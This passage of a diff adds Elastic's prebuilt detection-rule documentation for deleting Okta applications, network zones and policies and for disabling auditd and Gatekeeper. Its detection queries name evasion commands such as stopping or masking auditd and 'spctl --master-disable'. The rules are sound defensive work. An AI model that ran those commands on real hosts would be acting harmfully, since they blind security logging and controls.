Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Attempt to Delete an Okta Application* + + +Okta is a widely used identity management service that helps organizations manage user access to applications securely. Adversaries may target Okta applications to disrupt operations or weaken security by attempting deletions. The detection rule monitors system events for deletion actions, flagging potential threats with a low-risk score, aiding analysts in identifying and mitigating unauthorized attempts. + + +*Possible investigation steps* + + +- Review the event logs for entries with event.dataset:okta.system and event.action:application.lifecycle.delete to confirm the attempted deletion action. +- Identify the user account associated with the deletion attempt and verify their role and permissions within the organization to assess if the action was authorized. +- Check the timestamp of the event to determine if the deletion attempt coincides with any known maintenance windows or authorized changes. +- Investigate the specific Okta application targeted for deletion to understand its importance and potential impact on business operations if it were successfully deleted. +- Examine any recent changes or unusual activities associated with the user account or the targeted application to identify potential indicators of compromise. +- Correlate this event with other security alerts or logs to determine if it is part of a broader attack or isolated incident. + + +*False positive analysis* + + +- Routine maintenance activities by IT staff may trigger the rule when they legitimately delete or modify applications. To manage this, create exceptions for known maintenance periods or specific user accounts responsible for these tasks. +- Automated scripts or tools used for application lifecycle management might generate false positives. Identify these scripts and exclude their actions from triggering alerts by whitelisting their associated user accounts or service accounts. +- Testing environments where applications are frequently created and deleted for development purposes can lead to false positives. Exclude these environments from monitoring or adjust the rule to ignore actions within specific test domains. +- Changes in application configurations by authorized personnel for legitimate business needs may be flagged. Implement a process to log and approve such changes, allowing for easy identification and exclusion from alerts. + + +*Response and remediation* + + +- Immediately isolate the affected Okta application to prevent further unauthorized actions. This can be done by temporarily disabling the application or restricting access to it. +- Review the audit logs and event details associated with the deletion attempt to identify the source of the action, including user accounts and IP addresses involved. +- Revoke access for any compromised or suspicious user accounts identified in the investigation to prevent further unauthorized actions. +- Restore the deleted application from backup if applicable, ensuring that all configurations and settings are intact. +- Notify the security team and relevant stakeholders about the incident, providing details of the attempted deletion and actions taken. +- Conduct a root cause analysis to determine how the unauthorized attempt was made and implement additional security controls to prevent similar incidents in the future. +- Enhance monitoring and alerting for Okta application lifecycle events to ensure rapid detection and response to any future unauthorized modification or deletion attempts. + +==== Setup + + +The Okta Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:okta.system and event.action:application.lifecycle.delete + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Impact +** ID: TA0040 +** Reference URL: https://attack.mitre.org/tactics/TA0040/ +* Technique: +** Name: Service Stop +** ID: T1489 +** Reference URL: https://attack.mitre.org/techniques/T1489/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-attempt-to-delete-an-okta-network-zone.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-attempt-to-delete-an-okta-network-zone.asciidoc new file mode 100644 index 0000000000..2ac36ce95c --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-attempt-to-delete-an-okta-network-zone.asciidoc @@ -0,0 +1,123 @@ +[[prebuilt-rule-8-19-34-attempt-to-delete-an-okta-network-zone]] +=== Attempt to Delete an Okta Network Zone + +Detects attempts to delete an Okta network zone. Okta network zones can be configured to limit or restrict access to a network based on IP addresses or geolocations. An adversary may attempt to modify, delete, or deactivate an Okta network zone in order to remove or weaken an organization's security controls. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-okta* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: None ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://help.okta.com/en/prod/Content/Topics/Security/network/network-zones.htm +* https://developer.okta.com/docs/reference/api/system-log/ +* https://developer.okta.com/docs/reference/api/event-types/ +* https://www.elastic.co/security-labs/testing-okta-visibility-and-detection-dorothy +* https://www.elastic.co/security-labs/monitoring-okta-threats-with-elastic-security +* https://www.elastic.co/security-labs/starter-guide-to-understanding-okta + +*Tags*: + +* Use Case: Identity and Access Audit +* Data Source: Okta +* Use Case: Network Security Monitoring +* Tactic: Defense Evasion +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: Custom Query (KQL) +* Platform: Okta +* Domain: Identity + +*Version*: 415 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Attempt to Delete an Okta Network Zone* + + +Okta network zones can be configured to limit or restrict access to a network based on IP addresses or geolocations. Deleting a network zone in Okta might remove or weaken the security controls of an organization, which might be an indicator of an adversary's attempt to evade defenses. + + +*Possible investigation steps:* + + +- Identify the actor associated with the alert by examining the `okta.actor.id`, `okta.actor.type`, `okta.actor.alternate_id`, or `okta.actor.display_name` fields. +- Examine the `event.action` field to confirm the deletion of a network zone. +- Investigate the `okta.target.id`, `okta.target.type`, `okta.target.alternate_id`, or `okta.target.display_name` fields to identify the network zone that was deleted. +- Review the `event.time` field to understand when the event happened. +- Check the actor's activities before and after the event to understand the context of this event. + + +*False positive analysis:* + + +- Verify the `okta.client.user_agent.raw_user_agent` field to understand the device and software used by the actor. If these match the actor's typical behavior, it might be a false positive. +- Check if the actor is a known administrator or a member of the IT team who might have a legitimate reason to delete a network zone. +- Cross-verify the actor's actions with any known planned changes or maintenance activities. + + +*Response and remediation:* + + +- If unauthorized access or actions are confirmed, immediately lock the affected actor's account and require a password change. +- If a network zone was deleted without authorization, create a new network zone with similar settings as the deleted one. +- Review and update the privileges of the actor who initiated the deletion. +- Identify any gaps in the security policies and procedures and update them as necessary. +- Implement additional monitoring and logging of Okta events to improve visibility of user actions. +- Communicate and train the employees about the importance of following proper procedures for modifying network zone settings. + +==== Setup + + +The Okta Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:okta.system and event.action:zone.delete + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify Cloud Firewall +** ID: T1562.007 +** Reference URL: https://attack.mitre.org/techniques/T1562/007/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-attempt-to-delete-an-okta-policy-rule.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-attempt-to-delete-an-okta-policy-rule.asciidoc new file mode 100644 index 0000000000..21a3fd1837 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-attempt-to-delete-an-okta-policy-rule.asciidoc @@ -0,0 +1,134 @@ +[[prebuilt-rule-8-19-34-attempt-to-delete-an-okta-policy-rule]] +=== Attempt to Delete an Okta Policy Rule + +Detects attempts to delete a rule within an Okta policy. An adversary may attempt to delete an Okta policy rule in order to weaken an organization's security controls. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-okta* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: None ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://help.okta.com/en/prod/Content/Topics/Security/Security_Policies.htm +* https://developer.okta.com/docs/reference/api/system-log/ +* https://developer.okta.com/docs/reference/api/event-types/ +* https://www.elastic.co/security-labs/testing-okta-visibility-and-detection-dorothy +* https://www.elastic.co/security-labs/monitoring-okta-threats-with-elastic-security +* https://www.elastic.co/security-labs/starter-guide-to-understanding-okta + +*Tags*: + +* Use Case: Identity and Access Audit +* Data Source: Okta +* Tactic: Defense Evasion +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Rule Type: Custom Query (KQL) +* Platform: Okta +* Domain: Identity + +*Version*: 416 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Attempt to Delete an Okta Policy Rule* + + +Okta policy rules are integral components of an organization's security controls, as they define how user access to resources is managed. Deletion of a rule within an Okta policy could potentially weaken the organization's security posture, allowing for unauthorized access or facilitating other malicious activities. + +This rule detects attempts to delete an Okta policy rule, which could indicate an adversary's attempt to weaken an organization's security controls. Adversaries may do this to circumvent security measures and enable further malicious activities. + + +*Possible investigation steps:* + + +- Identify the actor related to the alert by reviewing `okta.actor.id`, `okta.actor.type`, `okta.actor.alternate_id`, or `okta.actor.display_name` fields in the alert. +- Review the `okta.client.user_agent.raw_user_agent` field to understand the device and software used by the actor. +- Examine the `okta.outcome.reason` field for additional context around the deletion attempt. +- Check the `okta.outcome.result` field to confirm the policy rule deletion attempt. +- Check if there are multiple policy rule deletion attempts from the same actor or IP address (`okta.client.ip`). +- Check for successful logins immediately following the policy rule deletion attempt. +- Verify whether the actor's activity aligns with typical behavior or if any unusual activity took place around the time of the deletion attempt. + + +*False positive analysis:* + + +- Check if there were issues with the Okta system at the time of the deletion attempt. This could indicate a system error rather than a genuine threat activity. +- Check the geographical location (`okta.request.ip_chain.geographical_context`) and time of the deletion attempt. If these match the actor's normal behavior, it might be a false positive. +- Verify the actor's administrative rights to ensure they are correctly configured. + + +*Response and remediation:* + + +- If unauthorized policy rule deletion is confirmed, initiate the incident response process. +- Immediately lock the affected actor account and require a password change. +- Consider resetting MFA tokens for the actor and require re-enrollment. +- Check if the compromised account was used to access or alter any sensitive data or systems. +- If a specific deletion technique was used, ensure your systems are patched or configured to prevent such techniques. +- Assess the criticality of affected services and servers. +- Work with your IT team to minimize the impact on users and maintain business continuity. +- If multiple accounts are affected, consider a broader reset or audit of MFA tokens. +- Implement security best practices https://www.okta.com/blog/2019/10/9-admin-best-practices-to-keep-your-org-secure/[outlined] by Okta. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + +==== Setup + + +The Okta Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:okta.system and event.action:policy.rule.delete + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Domain or Tenant Policy Modification +** ID: T1484 +** Reference URL: https://attack.mitre.org/techniques/T1484/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify Cloud Firewall +** ID: T1562.007 +** Reference URL: https://attack.mitre.org/techniques/T1562/007/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-attempt-to-delete-an-okta-policy.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-attempt-to-delete-an-okta-policy.asciidoc new file mode 100644 index 0000000000..f9e23f0119 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-attempt-to-delete-an-okta-policy.asciidoc @@ -0,0 +1,150 @@ +[[prebuilt-rule-8-19-34-attempt-to-delete-an-okta-policy]] +=== Attempt to Delete an Okta Policy + +Detects attempts to delete an Okta policy. An adversary may attempt to delete an Okta policy in order to weaken an organization's security controls. For example, an adversary may attempt to delete an Okta multi-factor authentication (MFA) policy in order to weaken the authentication requirements for user accounts. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-okta* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: None ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://help.okta.com/en/prod/Content/Topics/Security/Security_Policies.htm +* https://developer.okta.com/docs/reference/api/system-log/ +* https://developer.okta.com/docs/reference/api/event-types/ +* https://www.elastic.co/security-labs/testing-okta-visibility-and-detection-dorothy +* https://www.elastic.co/security-labs/monitoring-okta-threats-with-elastic-security +* https://www.elastic.co/security-labs/starter-guide-to-understanding-okta + +*Tags*: + +* Use Case: Identity and Access Audit +* Data Source: Okta +* Tactic: Defense Evasion +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: Custom Query (KQL) +* Platform: Okta +* Domain: Identity + +*Version*: 416 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Attempt to Delete an Okta Policy* + + +Okta policies are critical to managing user access and enforcing security controls within an organization. The deletion of an Okta policy could drastically weaken an organization's security posture by allowing unrestricted access or facilitating other malicious activities. + +This rule detects attempts to delete an Okta policy, which could be indicative of an adversary's attempt to weaken an organization's security controls. Adversaries may do this to bypass security barriers and enable further malicious activities. + + +*Possible investigation steps:* + + +- Identify the actor related to the alert by reviewing `okta.actor.id`, `okta.actor.type`, `okta.actor.alternate_id`, or `okta.actor.display_name` fields in the alert. +- Review the `okta.client.user_agent.raw_user_agent` field to understand the device and software used by the actor. +- Examine the `okta.outcome.reason` field for additional context around the deletion attempt. +- Check the `okta.outcome.result` field to confirm the policy deletion attempt. +- Check if there are multiple policy deletion attempts from the same actor or IP address (`okta.client.ip`). +- Check for successful logins immediately following the policy deletion attempt. +- Verify whether the actor's activity aligns with typical behavior or if any unusual activity took place around the time of the deletion attempt. + + +*False positive analysis:* + + +- Check if there were issues with the Okta system at the time of the deletion attempt. This could indicate a system error rather than a genuine threat activity. +- Check the geographical location (`okta.request.ip_chain.geographical_context`) and time of the deletion attempt. If these match the actor's normal behavior, it might be a false positive. +- Verify the actor's administrative rights to ensure they are correctly configured. + + +*Response and remediation:* + + +- If unauthorized policy deletion is confirmed, initiate the incident response process. +- Immediately lock the affected actor account and require a password change. +- Consider resetting MFA tokens for the actor and require re-enrollment. +- Check if the compromised account was used to access or alter any sensitive data or systems. +- If a specific deletion technique was used, ensure your systems are patched or configured to prevent such techniques. +- Assess the criticality of affected services and servers. +- Work with your IT team to minimize the impact on users and maintain business continuity. +- If multiple accounts are affected, consider a broader reset or audit of MFA tokens. +- Implement security best practices https://www.okta.com/blog/2019/10/9-admin-best-practices-to-keep-your-org-secure/[outlined] by Okta. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + +==== Setup + + +The Okta Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:okta.system and event.action:policy.lifecycle.delete + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Modify Authentication Process +** ID: T1556 +** Reference URL: https://attack.mitre.org/techniques/T1556/ +* Sub-technique: +** Name: Multi-Factor Authentication +** ID: T1556.006 +** Reference URL: https://attack.mitre.org/techniques/T1556/006/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify Cloud Firewall +** ID: T1562.007 +** Reference URL: https://attack.mitre.org/techniques/T1562/007/ +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Modify Authentication Process +** ID: T1556 +** Reference URL: https://attack.mitre.org/techniques/T1556/ +* Sub-technique: +** Name: Multi-Factor Authentication +** ID: T1556.006 +** Reference URL: https://attack.mitre.org/techniques/T1556/006/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-attempt-to-disable-auditd-service.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-attempt-to-disable-auditd-service.asciidoc new file mode 100644 index 0000000000..baecf29d79 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-attempt-to-disable-auditd-service.asciidoc @@ -0,0 +1,173 @@ +[[prebuilt-rule-8-19-34-attempt-to-disable-auditd-service]] +=== Attempt to Disable Auditd Service + +Adversaries may attempt to disable the Auditd service to evade detection. Auditd is a Linux service that provides system auditing and logging. Disabling the Auditd service can prevent the system from logging important security events, which can be used to detect malicious activity. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process* +* endgame-* +* logs-crowdstrike.fdr* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Data Source: Elastic Defend +* Data Source: Elastic Endgame +* Data Source: Crowdstrike +* Data Source: SentinelOne +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Linux + +*Version*: 107 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Attempt to Disable Auditd Service* + + +Auditd is a critical Linux service responsible for system auditing and logging, capturing security-relevant events. Adversaries may target this service to evade detection by disabling it, thus preventing the logging of their activities. The detection rule identifies suspicious processes attempting to stop or disable Auditd, such as using commands like `service stop` or `systemctl disable`, signaling potential defense evasion tactics. + + +*Possible investigation steps* + + +- Review the process details to identify the user account associated with the suspicious command execution, focusing on the process fields such as process.name and process.args. +- Check the system logs for any preceding or subsequent suspicious activities around the time of the alert, particularly looking for other defense evasion tactics or unauthorized access attempts. +- Investigate the command history of the user identified to determine if there are any other unauthorized or suspicious commands executed. +- Verify the current status of the Auditd service on the affected host to ensure it is running and properly configured. +- Correlate the alert with any other security events or alerts from the same host or user to identify potential patterns or broader attack campaigns. + + +*False positive analysis* + + +- System administrators may intentionally stop or disable the Auditd service during maintenance or troubleshooting. To handle this, create exceptions for known maintenance windows or specific administrator accounts. +- Automated scripts or configuration management tools might stop or disable Auditd as part of routine system updates or deployments. Identify these scripts and whitelist their activities to prevent false alerts. +- Some Linux distributions or custom setups might have alternative methods for managing services that could trigger this rule. Review and adjust the detection criteria to align with the specific service management practices of your environment. +- In environments where Auditd is not used or is replaced by another logging service, the rule might trigger unnecessarily. Consider disabling the rule or adjusting its scope in such cases. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further malicious activity and potential lateral movement by the adversary. +- Terminate any suspicious processes identified in the alert that are attempting to disable the Auditd service to stop the adversary's actions. +- Re-enable and restart the Auditd service on the affected system to ensure that auditing and logging are resumed, capturing any further suspicious activities. +- Conduct a thorough review of the system logs and audit records to identify any unauthorized changes or additional indicators of compromise that may have occurred prior to the alert. +- Apply any necessary security patches or updates to the affected system to address vulnerabilities that may have been exploited by the adversary. +- Escalate the incident to the security operations team for further investigation and to determine if additional systems may be affected. +- Implement enhanced monitoring and alerting for similar activities across the network to detect and respond to future attempts to disable critical security services. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.type == "start" and event.action in ("exec", "exec_event", "start", "ProcessRollup2") and ( + (process.name == "service" and process.args == "stop") or + (process.name == "chkconfig" and process.args == "off") or + (process.name == "update-rc.d" and process.args in ("remove", "disable")) or + (process.name == "systemctl" and process.args in ("disable", "stop", "kill", "mask")) +) and +process.args in ("auditd", "auditd.service") and +not ?process.parent.name == "auditd.prerm" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify Tools +** ID: T1562.001 +** Reference URL: https://attack.mitre.org/techniques/T1562/001/ +* Tactic: +** Name: Impact +** ID: TA0040 +** Reference URL: https://attack.mitre.org/tactics/TA0040/ +* Technique: +** Name: Service Stop +** ID: T1489 +** Reference URL: https://attack.mitre.org/techniques/T1489/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-attempt-to-disable-gatekeeper.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-attempt-to-disable-gatekeeper.asciidoc new file mode 100644 index 0000000000..adccace0aa --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-attempt-to-disable-gatekeeper.asciidoc @@ -0,0 +1,159 @@ +[[prebuilt-rule-8-19-34-attempt-to-disable-gatekeeper]] +=== Attempt to Disable Gatekeeper + +Detects attempts to disable Gatekeeper on macOS. Gatekeeper is a security feature that's designed to ensure that only trusted software is run. Adversaries may attempt to disable Gatekeeper before executing malicious code. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://support.apple.com/en-us/HT202491 +* https://community.carbonblack.com/t5/Threat-Advisories-Documents/TAU-TIN-Shlayer-OSX/ta-p/68397 + +*Tags*: + +* Domain: Endpoint +* OS: macOS +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: macOS + +*Version*: 112 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Attempt to Disable Gatekeeper* + + +Gatekeeper is a macOS security feature that ensures only trusted software runs by verifying app signatures. Adversaries may attempt to disable it to execute unauthorized code, bypassing security checks. The detection rule identifies such attempts by monitoring process events for specific commands used to disable Gatekeeper, flagging potential defense evasion activities. + + +*Possible investigation steps* + + +- Review the process event details to confirm the presence of the command `spctl --master-disable` in the `process.args` field, which indicates an attempt to disable Gatekeeper. +- Identify the user account associated with the process event to determine if the action was initiated by a legitimate user or an unauthorized actor. +- Check the `event.category` and `event.type` fields to ensure the event is categorized as a process start, which aligns with the rule's detection criteria. +- Investigate the parent process of the flagged event to understand the context in which the Gatekeeper disabling attempt was made, looking for any suspicious or unexpected parent processes. +- Examine recent process events on the same host to identify any subsequent or preceding suspicious activities that might indicate a broader attack or compromise. +- Review system logs and other security alerts on the host for additional indicators of compromise or related malicious activities. +- Assess the risk and impact of the event by considering the host's role, the sensitivity of data it handles, and any potential exposure resulting from the attempted Gatekeeper disablement. + + +*False positive analysis* + + +- System administrators or IT personnel may intentionally disable Gatekeeper for legitimate software installations or troubleshooting. To manage this, create exceptions for known administrative accounts or specific maintenance windows. +- Some legitimate applications may require Gatekeeper to be disabled temporarily for installation. Identify these applications and whitelist their installation processes to prevent false alerts. +- Development environments on macOS might disable Gatekeeper to test unsigned applications. Consider excluding processes initiated by development tools or specific user accounts associated with development activities. +- Automated scripts or management tools that configure macOS settings might trigger this rule. Review and adjust these scripts to ensure they are recognized as non-threatening, or exclude them from monitoring if they are verified as safe. + + +*Response and remediation* + + +- Immediately isolate the affected macOS device from the network to prevent potential lateral movement or further execution of unauthorized code. +- Terminate any suspicious processes associated with the attempt to disable Gatekeeper, specifically those involving the 'spctl --master-disable' command. +- Conduct a thorough review of recent system changes and installed applications on the affected device to identify and remove any unauthorized or malicious software. +- Restore Gatekeeper settings to their default state to ensure that only trusted software can be executed on the device. +- Escalate the incident to the security operations team for further analysis and to determine if additional devices or systems may be affected. +- Implement additional monitoring on the affected device and similar systems to detect any further attempts to disable Gatekeeper or other security features. +- Review and update endpoint security policies to enhance protection against similar threats, ensuring that all macOS devices are configured to prevent unauthorized changes to security settings. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a macOS System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, for MacOS it is recommended to select "Traditional Endpoints". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/current/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "macos" and event.type in ("start", "process_started") and + process.name == "spctl" and + process.args like~ "--master-disable" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Subvert Trust Controls +** ID: T1553 +** Reference URL: https://attack.mitre.org/techniques/T1553/ +* Sub-technique: +** Name: Gatekeeper Bypass +** ID: T1553.001 +** Reference URL: https://attack.mitre.org/techniques/T1553/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-attempt-to-disable-iptables-or-firewall.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-attempt-to-disable-iptables-or-firewall.asciidoc new file mode 100644 index 0000000000..8aef69fc8e --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-attempt-to-disable-iptables-or-firewall.asciidoc @@ -0,0 +1,191 @@ +[[prebuilt-rule-8-19-34-attempt-to-disable-iptables-or-firewall]] +=== Attempt to Disable IPTables or Firewall + +Adversaries may attempt to disable the iptables or firewall service in an attempt to affect how a host is allowed to receive or send network traffic. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-endpoint.events.process* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.elastic.co/security-labs/detecting-log4j2-with-elastic-security + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Data Source: Elastic Defend +* Data Source: Elastic Endgame +* Data Source: SentinelOne +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Linux + +*Version*: 116 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed 